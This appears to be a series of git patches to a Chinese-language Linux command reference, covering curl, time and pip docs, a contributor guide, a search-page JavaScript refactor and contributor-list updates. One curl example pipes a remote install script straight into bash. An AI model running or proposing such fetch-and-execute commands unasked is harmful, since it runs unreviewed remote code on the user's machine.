'foo=bar' https://taobao.com +curl -b 'foo=bar' https://example.com # 上面命令会生成一个标头Cookie: foo=bar，向服务器发送一个名为foo、值为bar的 Cookie。 ``` ```shell -curl -b 'foo1=bar' -b 'foo2=baz' https://taobao.com +curl -b 'foo1=bar' -b 'foo2=baz' https://example.com # 上面命令发送两个 Cookie。 ```shell -curl -b cookies.txt https://www.taobao.com +curl -b cookies.txt https://www.example.com # 上面命令读取本地文件 cookies.txt，里面是服务器设置的 Cookie（参见-c参数），将其发送到服务器。 ``` -**Cookie 写入一个文件** +#### **Cookie 写入一个文件** ```shell -curl -c cookies.txt https://www.taobao.com +curl -c cookies.txt https://www.example.com # 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。 ``` -**请求的来源** +#### **请求的来源** `-e` 参数用来设置 `HTTP` 的标头 `Referer`，表示请求的来源。 ```shell -curl -e 'https://taobao.com?q=example' https://www.example.com -# 上面命令将Referer标头设为 https://taobao.com?q=example。 +curl -e 'https://example.com?q=example' https://www.example.com +# 上面命令将Referer标头设为 https://example.com?q=example。 ``` `-H` 参数可以通过直接添加标头 `Referer`，达到同样效果。 ```shell -curl -H 'Referer: https://taobao.com?q=example' https://www.example.com +curl -H 'Referer: https://example.com?q=example' https://www.example.com ``` -**上传二进制文件** +#### **上传二进制文件** `-F` 参数用来向服务器上传二进制文件。 ```shell -curl -F 'file=@photo.png' https://taobao.com/profile +curl -F 'file=@photo.png' https://example.com/profile # 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ，然后将文件photo.png作为file字段上传。 ``` `-F` 参数可以指定 `MIME` 类型。 ```shell -curl -F 'file=@photo.png;type=image/png' https://taobao.com/profile +curl -F 'file=@photo.png;type=image/png' https://example.com/profile # 上面命令指定 MIME 类型为image/png，否则 curl 会把 MIME 类型设为 application/octet-stream。 ``` `-F` 参数也可以指定文件名。 ```shell -curl -F 'file=@photo.png;filename=me.png' https://taobao.com/profile +curl -F 'file=@photo.png;filename=me.png' https://example.com/profile # 上面命令中，原始文件名为photo.png，但是服务器接收到的文件名为me.png。 ``` -**设置请求头** +#### **设置请求头** `-H` 参数添加 `HTTP` 请求的标头。 ```shell -curl -H 'Accept-Language: en-US' https://google.com +curl -H 'Accept-Language: en-US' https://example.com # 上面命令添加 HTTP 标头 Accept-Language: en-US。 ``` ```shell -curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com +curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://example.com # 上面命令添加两个 HTTP 标头。 ``` ```shell -curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login +curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://example.com/login # 上面命令添加 HTTP 请求的标头是 Content-Type: application/json，然后用 -d 参数发送 JSON 数据。 ``` -**跳过 SSL 检测** +#### **跳过 SSL 检测** ```shell curl -k https://www.example.com # 上面命令不会检查服务器的 SSL 证书是否正确。 ``` -**请求跟随服务器的重定向** +#### **请求跟随服务器的重定向** `-L` 参数会让 `HTTP` 请求跟随服务器的重定向。`curl` 默认不跟随重定向。 @@ -388,7 +393,26 @@ curl -k https://www.example.com curl -L -d 'tweet=hi' https://api.example.com/tweet ``` -**调试参数** +值得注意的是，这种重定向方式不适用于在返回的 HTML 中的重定向，比如这种是不被 curl 识别的重定向(这部分内容由 `curl -v -L ` 生成) + +```curl +* Connected to example.com (*.*.*.*) port 80 (#0) +> GET / HTTP/1.1 +> Host: example.com +> User-Agent: curl/8.0.1 +> Accept: */* +> +< HTTP/1.1 200 OK +.... +< Content-Type: text/html +< + + + + +``` + +#### **调试参数** `-v` 参数输出通信的整个过程，用于调试。 @@ -398,17 +422,16 @@ curl -v https://www.example.com ``` ```shell -$ curl --trace - https://www.example.com +curl --trace - https://www.example.com ``` -**获取本机外网ip** +#### **获取本机外网 IP** ```shell curl ipecho.net/plain ``` - -**使用 curl 测试网站加载速度** +#### **使用 curl 测试网站加载速度** 命令有一个鲜为人知的选项，`-w`，该选项在请求结束之后打印本次请求的统计数据到标准输出。 @@ -428,7 +451,6 @@ Total Time:\t\t\t%{time_total}s\n curl 提供了很多置换变量，可以在格式化字符串中通过 `%{var}` 的形式使用。完整的变量列表可以在 `curl` 的 `manpage` 中查看。简单介绍一下我们使用的这几个变量： - - `url_effective`: 执行完地址重定向之后的最终 URL； - `time_namelookup`: 从请求开始至完成名称解析所花的时间，单位为秒，下同； - `time_redirect`: 执行所有重定向所花的时间； @@ -441,7 +463,7 @@ curl 提供了很多置换变量，可以在格式化字符串中通过 `%{var}` 然后执行请求，通过 @filename 指定保存了格式化字符串的文件： ```shell -$ curl -L -s -w @fmt.txt -o /dev/null http://www.google.com +curl -L -s -w @fmt.txt -o /dev/null http://www.example.com ``` 输出： @@ -459,10 +481,10 @@ Start-transfer Time: 0.260115s Total Time: 0.467691s ``` -### 要求返回是压缩的状态 +#### **要求返回是压缩的状态** ```shell -▶ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash +$ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 54 100 54 0 0 42 0 0:00:01 0:00:01 --:--:-- 42 @@ -484,6 +506,3 @@ Installing Yarn! 100 647 100 647 0 0 1283 0 --:--:-- --:--:-- --:--:-- 1283 100 832 100 832 0 0 1107 0 --:--:-- --:--:-- --:--:-- 812k ``` - - - diff --git a/command/time.md b/command/time.md index c46ff23412e..2494099cf26 100644 --- a/command/time.md +++ b/command/time.md @@ -5,24 +5,28 @@ time ## 补充说明 -**time命令** 用于统计给定命令所花费的总时间。 +`time` 命令是用来确定一个给定的命令需要运行多长时间。它对于测试你的脚本和命令的性能很有用。 -### 语法 +例如，如果你有两个不同的脚本在做同样的工作，你想知道哪一个表现得更好，你可以用 Linux 的时间命令来确定每个脚本的执行时间。 + +该指令是 shell 内指令，也是一个软件包，**对于软件包的说明在这篇文档靠下的部分** + +## 语法 ```shell -time(参数) +time <指令> ``` -### 参数 +## 参数 指令：指定需要运行的额指令及其参数。 -### 实例 +## 实例 当测试一个程序或比较不同算法时，执行时间是非常重要的，一个好的算法应该是用时最短的。所有类UNIX系统都包含time命令，使用这个命令可以统计时间消耗。例如： ```shell -[root@localhost ~]# time ls +$ time ls anaconda-ks.cfg install.log install.log.syslog satools text real 0m0.009s @@ -30,13 +34,56 @@ user 0m0.002s sys 0m0.007s ``` -输出的信息分别显示了该命令所花费的real时间、user时间和sys时间。 +这里的输出会因为使用的发行版本不同而导致展示的结果不同，比如： + +```shell +# Bash +real 0m33.961s +user 0m0.340s +sys 0m0.940s + +# Zsh +0.34s user 0.94s system 4% cpu 33.961 total + +# GNU time (sh) +0.34user 0.94system 0:33.96elapsed 4%CPU (0avgtext+0avgdata 6060maxresident)k +0inputs+201456outputs (0major+315minor)pagefaults 0swaps +``` + +`real` 或者 `total` 或者 `elapsed`（挂钟时间）是指从调用开始到结束的时间。它是指从你按下回车键的那一刻开始，到命令完成的那一刻为止的时间。 +user - 在用户模式下花费的CPU时间。 +system 或 sys - 在内核模式下花费的CPU时间。 + +## 软件包 + +接下来的部分是关于 `time` 软件包提供的 `/usr/bin/time` 二进制可执行程序，而不是 shell 内建的 time 命令。 + +### 软件包的语法 + +一些 shells（例如 `bash` ）有一个内置的 `time` 命令，提供类似的关于时间和可能的其他资源的使用信息。 + +要访问真正的命令，可能需要指定其路径名（类似于`/usr/bin/time`）。 + +```shell +time [options] command [arguments...] +``` + +### 软件包指令参数 -* real时间是指挂钟时间，也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片，和进程被阻塞时所花费的时间。 -* user时间是指进程花费在用户模式中的CPU时间，这是唯一真正用于执行进程所花费的时间，其他进程和花费阻塞状态中的时间没有计算在内。 -* sys时间是指花费在内核模式中的CPU时间，代表在内核中执系统调用所花费的时间，这也是真正由进程使用的CPU时间。 +-f format, --format=format +指定输出格式，可能覆盖环境变量TIME中指定的格式。 +-p, --portability + 使用可移植的输出格式。 +-o file, --output=file + 不将结果发送到stderr，而是覆盖指定的文件。 +-a, --append + (与-o一起使用。)不覆盖而是附加。 +-v, --verbose + 对程序知道的所有信息进行非常详细的输出。 +-q, --quiet + 不报告异常的程序终止（当命令被信号终止时）或非零退出状态。 -shell内建也有一个time命令，当运行time时候是调用的系统内建命令，因为系统内建的功能有限，所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 +### 软件包实例 使用`-o`选项将执行时间写入到文件中： @@ -74,3 +121,8 @@ shell内建也有一个time命令，当运行time时候是调用的系统内建 `%w` | 进程主动进行上下文切换的次数，例如等待I/O操作完成。 `%c` | 进程被迫进行上下文切换的次数（由于时间片到期）。 +## 参考资料 + +- Linux Time Command | Linuxize +- time(1) — Arch manual pages +- Time - ArchWiki From 8ea28b9d4565e4429c2ed0ed4a5861786553a156 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Wed, 26 Apr 2023 13:48:38 +0800 Subject: [PATCH 148/570] =?UTF-8?q?fix(index.js):=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?=E6=89=BE=E4=B8=8D=E5=88=B0=E8=AF=8D=E6=9D=A1=E7=9A=84=E6=96=87?= =?UTF-8?q?=E5=AD=97=E6=98=BE=E7=A4=BA=E9=94=99=E8=AF=AF=20(#490)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(curl,time):格式化内容，并参考 #359 #352 修改文档 * fix(index.js):修复找不到词条的文字显示错误 * docs:对于未来的贡献者提出了明确的要求和提示 * docs:对于未来的贡献者提出了明确的要求和提示 --- maintainers.md | 60 ++++++++ template/js/index.js | 322 ++++++++++++++++++++++++------------------- 2 files changed, 243 insertions(+), 139 deletions(-) create mode 100644 maintainers.md diff --git a/maintainers.md b/maintainers.md new file mode 100644 index 00000000000..48e19e5b475 --- /dev/null +++ b/maintainers.md @@ -0,0 +1,60 @@ +# 贡献者约定 + +感谢您对本项目提交贡献，为了便于维护者管理，请各位维护人员遵循以下约定 + +## 如果您希望提交一个命令 + +命令的存放位置在 `./command/` 文件夹中 + +1. 在这里创建一个 `[CommandName].md` 文件，比如 `pacman.md` +2. 打开文件，键入指令在终端中执行的命令 +3. 第二行输入三个等号 +4. 创建二级标题“补充说明”，并且在这个标题下面创建至少下面几个三级标题 + - 语法 + - 选项 + - 参数 + +按照预期，文档应该是这样的 + +```markdown +CommandName +=== +作为代码规范文档进行展示 + +## 补充说明 + +**CommandName命令** 是用于演示的文档 + +### 语法 + +(具体编写文档时，请使用 shell 代码块包裹以下内容) + +CommandName <-abcdABCD> <必选参数> [可选参数] + +### 选项 + +(具体编写文档时，请使用 shell 代码块包裹以下内容) + +-a xxxxx +-b xxxxx +... +-C xxxxx +-D xxxxx + +### 参数 + +(具体编写文档时，请使用 shell 代码块包裹以下内容) + +可选参数：一般情况下可以不给出 + +``` + +## 如果您希望维护前端页面 + +- 请确保您的代码可以完整的运行在最新的 Chromium 和 Safari 浏览器 (#489) + +## 对于提交信息的其他规范 + +- 约定式提交 +- 中文文案排版指北 +- 扉页 — Google 开源项目风格指南 diff --git a/template/js/index.js b/template/js/index.js index e1b9551bd32..0bd462949d6 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -1,142 +1,191 @@ +/** +* 对数组进行排序，作为 Array.sort() 回调函数使用 +*/ +const sortArray = function (a, b) { + return a.nIdx - b.nIdx; +} +/** + * 判断 indexOf() 是否捕获到了搜索词 + * @returns {boolean} 是否捕获 + */ +function indexOfCatch(a) { + return a > -1 +} (function () { - function Commands() { - var $$ = this.$$; - this.commands = linux_commands || []; - this.elm_query = $$('query'); - this.elm_btn = $$('search_btn'); - this.elm_result = $$('result'); - this.elm_search_result = $$('search_list_result'); - - // 获取根路径 - this.root_path = (function () { - var elm_path = $$('current_path'); - var url = window.location.origin + window.location.pathname; - return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : ''; - })(); - - this.query = ''; // - this.query_size = 5; //搜索框结果显示5条 - this.page_size = 50; //每页显示20条 + class Commands { + query = '' + query_size = 5 //搜索框结果显示5条 + page_size = 50 //每页显示20条 + $$(id) { + return document.getElementById(id) + } + constructor() { + function $$(id) { + return document.getElementById(id) + } + this.commands = linux_commands || []; + this.elm_query = $$('query'); + this.elm_btn = $$('search_btn'); + this.elm_result = $$('result'); + this.elm_search_result = $$('search_list_result'); - this.init() - this.goToIndex() - } + // 获取根路径 + this.root_path = (function () { + let elm_path = $$('current_path'); + let url = window.location.origin + window.location.pathname; + return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : ''; + })(); - Commands.prototype = { - $$: function (id) { - return document.getElementById(id) - }, - goToIndex: function () { - var elma = document.getElementsByTagName('A'); - for (var i = 0; i < elma.length; i++) { + this.init(); + this.goToIndex(); + } + /** + * 前往主页 + * @memberof Commands + */ + goToIndex() { + let elma = document.getElementsByTagName('A'); + for (let i = 0; i < elma.length; i++) { if (elma[i].pathname === '/' && !/^https?:/i.test(elma[i].protocol)) { elma[i].href = this.root_path + '/'; } } - }, - bindEvent: function (elm, type, handle) { - if (elm.addEventListener) { - elm.addEventListener(type, handle, false); - } else if (elm.attachEvent) { - elm.attachEvent('on' + type, handle); + } + /** + * 绑定事件 + * 该函数有兼容性处理 + * @param {HTMLElement} element 需要绑定事件的元素 + * @param {*} type 需要绑定的类型 + * @param {*} callback 事件触发回调 + * @memberof Commands + */ + bindEvent(element, type, callback) { + if (element.addEventListener) { + element.addEventListener(type, callback, false); + } else if (element.attachEvent) { + element.attachEvent('on' + type, callback); } - }, - isSreachIndexOF: function (oldstr, kw) { + } + isSreachIndexOF(oldstr, kw) { if (!oldstr || !kw) return -1; return oldstr.toLowerCase().indexOf(kw.toLowerCase()); - }, + } //获取URL上面的参数 - getQueryString: function (name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); + getQueryString(name) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + let r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); if (r != null) return unescape(r[2]); return null; - }, - pushState: function () { + } + /** + * 通过 window.history 设置地址栏的地址 + * @memberof Commands + */ + pushState() { if (window.history && window.history.pushState) - this.query ? history.pushState({}, "linux_commands", "#!kw=" + this.query) : + if (this.query) { + history.pushState({}, "linux_commands", `#!kw=${this.query}`) + } else { history.pushState({}, "linux_commands", window.location.pathname); - }, - //简单模版 - simple: function (str, obj) { + } + } + /** + * 一个简单的模板函数 + * + * @param {string} str 传入的 HTML 模板 + * @param {object} obj 一个对象，用于放置在 HTML 模板中 + * @return {string} 经过处理的 HTML 模板 + * @memberof Commands + */ + simple(str, obj) { return str.replace(/\$\w+\$/gi, function (matchs) { - var returns = obj[matchs.replace(/\$/g, "")]; + let returns = obj[matchs.replace(/\$/g, "")]; return typeof returns === "undefined" ? "" : returns; }) - }, - createKeyworldsHTML: function (json, keywolds, islist) { - var name = json.n, des = json.d, self = this, - reg = new RegExp("(" + keywolds + ")", "ig"), - str = ''; + } + /**创建 keyworlds HTML + * @param {*} json 根据这段 JSON 生成 + * @param {*} keywolds 关键字 + * @param {*} islist 表示这是否是一个列表 + * @return {*} 返回一个 HTML 字符串 + */ + createKeyworldsHTML(json, keywolds, islist) { + const listHTML = '

From 449a8c608e7cf0136f820d7d2517c08f7e3d984c Mon Sep 17 00:00:00 2001 From: gggwvg Date: Mon, 15 Jan 2024 12:18:27 +0800 Subject: [PATCH 281/570] chore: add sync.yml (#554) * Create sync.yml * doc: update README.md. * doc: update template/contributors.ejs. --------- Co-authored-by: github-actions[bot] --- .github/workflows/sync.yml | 40 ++++++++++++++++++++++++++++++++++ README.md | 44 +++++++++++++++++++------------------- template/contributors.ejs | 44 +++++++++++++++++++------------------- 3 files changed, 84 insertions(+), 44 deletions(-) create mode 100644 .github/workflows/sync.yml diff --git a/.github/workflows/sync.yml b/.github/workflows/sync.yml new file mode 100644 index 00000000000..be5cd36a5cd --- /dev/null +++ b/.github/workflows/sync.yml @@ -0,0 +1,40 @@ +name: Upstream Sync + +permissions: + contents: write + +on: + schedule: + - cron: "0 0 * * *" # every day + workflow_dispatch: + +jobs: + sync_latest_from_upstream: + name: Sync latest commits from upstream repo + runs-on: ubuntu-latest + if: ${{ github.event.repository.fork }} + + steps: + # Step 1: run a standard checkout action + - name: Checkout target repo + uses: actions/checkout@v3 + + # Step 2: run the sync action + - name: Sync upstream changes + id: sync + uses: aormsby/Fork-Sync-With-Upstream-action@v3.4 + with: + upstream_sync_repo: jaywcjlove/linux-command + upstream_sync_branch: master + target_sync_branch: master + target_repo_token: ${{ secrets.GITHUB_TOKEN }} # automatically generated, no need to set + + # Set test_mode true to run tests instead of the true action!! + test_mode: false + + - name: Sync check + if: failure() + run: | + echo "[Error] 由于上游仓库的 workflow 文件变更，导致 GitHub 自动暂停了本次自动更新，你需要手动 Sync Fork 一次。" + echo "[Error] Due to a change in the workflow file of the upstream repository, GitHub has automatically suspended the scheduled automatic update. You need to manually sync your fork." + exit 1 diff --git a/README.md b/README.md index 3eccc26dd57..e7fae63a217 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -459,32 +459,32 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero - - shc + + Xingwen Zhang sfwwslm @@ -498,6 +498,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 noodles2hg + + shc + myliwenbo @@ -540,9 +543,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ghy - - gggwvg - gesty @@ -564,6 +564,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday + + Rocher + 黑&蛋 @@ -651,9 +654,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - Rocher - Robigus diff --git a/template/contributors.ejs b/template/contributors.ejs index 08c2b67443e..ca18d626239 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -96,32 +96,32 @@ wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero - - shc + + Xingwen Zhang sfwwslm @@ -135,6 +135,9 @@ noodles2hg + + shc + myliwenbo @@ -177,9 +180,6 @@ ghy - - gggwvg - gesty @@ -201,6 +201,9 @@ dayday + + Rocher + 黑&蛋 @@ -288,9 +291,6 @@ snovey - - Rocher - Robigus From 5fb70084333f49e5e5a0b97ba8fd3a7cea35c83a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jan 2024 04:18:56 +0000 Subject: [PATCH 282/570] doc: update README.md. --- README.md | 44 ++++++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index e7fae63a217..3eccc26dd57 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -459,32 +459,32 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD - - gggwvg + + Xingwen Zhang - - Dazhuangw + + Xrtero YH - - Xrtero + + Dazhuangw - - Xingwen Zhang + + shc sfwwslm @@ -498,9 +498,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 noodles2hg - - shc - myliwenbo @@ -543,6 +540,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ghy + + gggwvg + gesty @@ -564,9 +564,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - Rocher - 黑&蛋 @@ -654,6 +651,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + Rocher + Robigus From 646e1410f8181fddf55ee70144e3fc3935923189 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jan 2024 04:18:57 +0000 Subject: [PATCH 283/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 44 +++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ca18d626239..08c2b67443e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -96,32 +96,32 @@ wVVaTT - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD - - gggwvg + + Xingwen Zhang - - Dazhuangw + + Xrtero YH - - Xrtero + + Dazhuangw - - Xingwen Zhang + + shc sfwwslm @@ -135,9 +135,6 @@ noodles2hg - - shc - myliwenbo @@ -180,6 +177,9 @@ ghy + + gggwvg + gesty @@ -201,9 +201,6 @@ dayday - - Rocher - 黑&蛋 @@ -291,6 +288,9 @@ snovey + + Rocher + Robigus From 3d4819b11922819c119d0422d66d86679c302706 Mon Sep 17 00:00:00 2001 From: Shan Chenyu <103872353+ischenyu@users.noreply.github.com> Date: Tue, 16 Jan 2024 19:08:33 +0800 Subject: [PATCH 284/570] feat: add pip.md (#556) * doc: update README.md. * doc: update template/contributors.ejs. * Create pip * doc: update README.md. * doc: update template/contributors.ejs. * Rename pip to pip.md * doc: update README.md. * doc: update template/contributors.ejs. --------- Co-authored-by: github-actions[bot] --- README.md | 74 +++++++++--------- command/pip.md | 158 ++++++++++++++++++++++++++++++++++++++ template/contributors.ejs | 74 +++++++++--------- 3 files changed, 232 insertions(+), 74 deletions(-) create mode 100644 command/pip.md diff --git a/README.md b/README.md index 3eccc26dd57..92ee465465b 100644 --- a/README.md +++ b/README.md @@ -387,23 +387,20 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - Glett + + 烟草的香味 项金 - - 烟草的香味 - - - Jayin Tang + + Glett 丛林意志 - - Zijing Zhang + + Jayin Tang Fubin Zhang @@ -411,6 +408,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN + + Zijing Zhang + ernest @@ -429,6 +429,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 lavaicer + + Shan Chenyu + SteveLauC @@ -438,14 +441,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -459,29 +462,32 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero + + + Xingwen Zhang shc @@ -495,6 +501,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver + + 黑&蛋 + noodles2hg @@ -540,9 +549,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ghy - - gggwvg - gesty @@ -564,9 +570,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - 黑&蛋 - Panthea Johnson @@ -651,8 +654,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - Rocher + + cxalc Robigus @@ -735,9 +738,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan - - cxalc - Forever121 @@ -807,9 +807,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azolla - - Shan Chenyu - SevenSteven @@ -818,6 +815,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 + + + Rocher 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 diff --git a/command/pip.md b/command/pip.md new file mode 100644 index 00000000000..281c0b5f335 --- /dev/null +++ b/command/pip.md @@ -0,0 +1,158 @@ +pip +=== + +Python的库管理工具。 + + +``` +用法： + pip <命令> [选项] + +命令： + install 安装包。 + download 下载包。 + uninstall 卸载包。 + freeze 以requirements格式输出已安装的包。 + inspect 检查 Python 环境。 + list 列出已安装的包。 + show 显示有关已安装包的信息。 + check 验证已安装的包是否具有兼容的依赖关系。 + config 管理本地和全局配置。 + search 在 PyPI 搜索包。 + cache 检查和管理 pip 的wheel缓存。 + index 检查从软件包索引中获取的信息。 + wheel 从你的要求构建wheels。 + hash 计算包存档的哈希值。 + completion 用于命令完成的辅助命令。 + debug 显示用于调试的有用信息。 + help 显示命令的帮助信息。 + +通用选项： + -h, --help 显示帮助。 + --debug 允许未处理的异常传播到主要子例程之外，而不是将其记录到stderr。 + --isolated 在隔离模式下运行 pip，忽略环境变量和用户配置。 + --require-virtualenv 允许 pip 仅在虚拟环境中运行；否则退出并显示错误。 + --python 使用指定的 Python 解释器运行 pip。 + -v, --verbose 提供更多输出。该选项是可叠加的，最多可使用3次。 + -V, --version 显示版本并退出。 + -q, --quiet 提供更少的输出。该选项是可叠加的，最多可使用3次（对应 WARNING、ERROR 和 CRITICAL 日志级别）。 + --log 要附加日志的路径。 + --no-input 禁用输入提示。 + --keyring-provider + 如果允许用户输入，则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。（默认: disabled） + --proxy 指定代理，格式为 scheme://[user:passwd@]proxy.server:port。 + --retries 每个连接应尝试的最大次数（默认5次）。 + --timeout 设置套接字超时（默认15秒）。 + --exists-action 当路径已经存在时的默认操作：(s)切换，(i)忽略，(w)擦除，(b)备份，(a)中止。 + --trusted-host 将此主机或主机:端口对标记为可信，即使它没有有效或任何 HTTPS。 + --cert PEM编码的CA证书包的路径。如果提供，将覆盖默认值。有关更多信息，请参阅 pip 文档中的 'SSL证书验证'。 + --client-cert SSL客户端证书的路径，一个包含私钥和PEM格式的证书的单个文件。 + --cache-dir

在 中存储缓存数据。 + --no-cache-dir 禁用缓存。 + --disable-pip-version-check + 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 + --no-color 抑制有色输出。 + --no-python-version-warning + 对即将不受支持的 Python 沉默弃用警告。 + --use-feature 启用可能不向后兼容的新功能。 + --use-deprecated 启用在将来将被删除的已弃用功能。 +``` + +## 安装 + +Pip 是 Python 的包管理工具，通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。 + +```bash +# Ubuntu系统 +sudo apt install python3-pip +``` +```badh +# CentOS +sudo yum install python3-pip +``` +如果需要更新 Pip，可以运行以下命令： + +```bash +python -m pip install --upgrade pip +``` + +## 安装包 + +通过 Pip 安装 Python 包非常简单。使用以下命令： + +```bash +pip install +``` + +例如，安装一个名为 `requests` 的包： + +```bash +pip install requests +``` + +## 卸载包 + +要卸载已安装的包，使用以下命令： + +```bash +pip uninstall package_name +``` + +例如，卸载 `requests` 包： + +```bash +pip uninstall requests +``` + +## 查看已安装的包 + +你可以使用以下命令查看当前环境中已安装的所有包及其版本： + +```bash +pip list +``` + +## 导出和导入依赖关系 + +使用 `pip freeze` 命令可以将当前环境中的所有包及其版本导出到一个文本文件，通常命名为 `requirements.txt`： + +```bash +pip freeze > requirements.txt +``` + +要在另一个环境中安装相同的依赖，可以使用以下命令： + +```bash +pip install -r requirements.txt +``` + +## 安装特定版本的包 + +如果需要安装特定版本的包，可以在包名后面添加版本号： + +```bash +pip install package_name==1.2.3 +``` + +## 搜索包 + +要搜索可用的 Python 包，可以使用 `pip search` 命令： + +```bash +pip search package_name +``` + +## 安装开发版本 + +有时你可能需要安装包的开发版本。通常，开发版本存储在版本控制系统中（如 GitHub）： + +```bash +pip install git+https://github.com/user/repo.git +``` + +这将安装存储库的最新版本。 + +以上是一些常用的 Pip 命令，希望这个简要教程能够帮助你更好地使用 Python 包管理工具。 + +## 官网 +更多安装使用方法可以访问官网学习：[https://pypi.org/project/pip/](https://pypi.org/project/pip/) diff --git a/template/contributors.ejs b/template/contributors.ejs index 08c2b67443e..54fd4ad6f4f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,23 +24,20 @@ clay-wangzhi - - Glett + + 烟草的香味 项金 - - 烟草的香味 - - - Jayin Tang + + Glett 丛林意志 - - Zijing Zhang + + Jayin Tang Fubin Zhang @@ -48,6 +45,9 @@ __FresHmaN + + Zijing Zhang + ernest @@ -66,6 +66,9 @@ lavaicer + + Shan Chenyu + SteveLauC @@ -75,14 +78,14 @@ James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -96,29 +99,32 @@ wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + 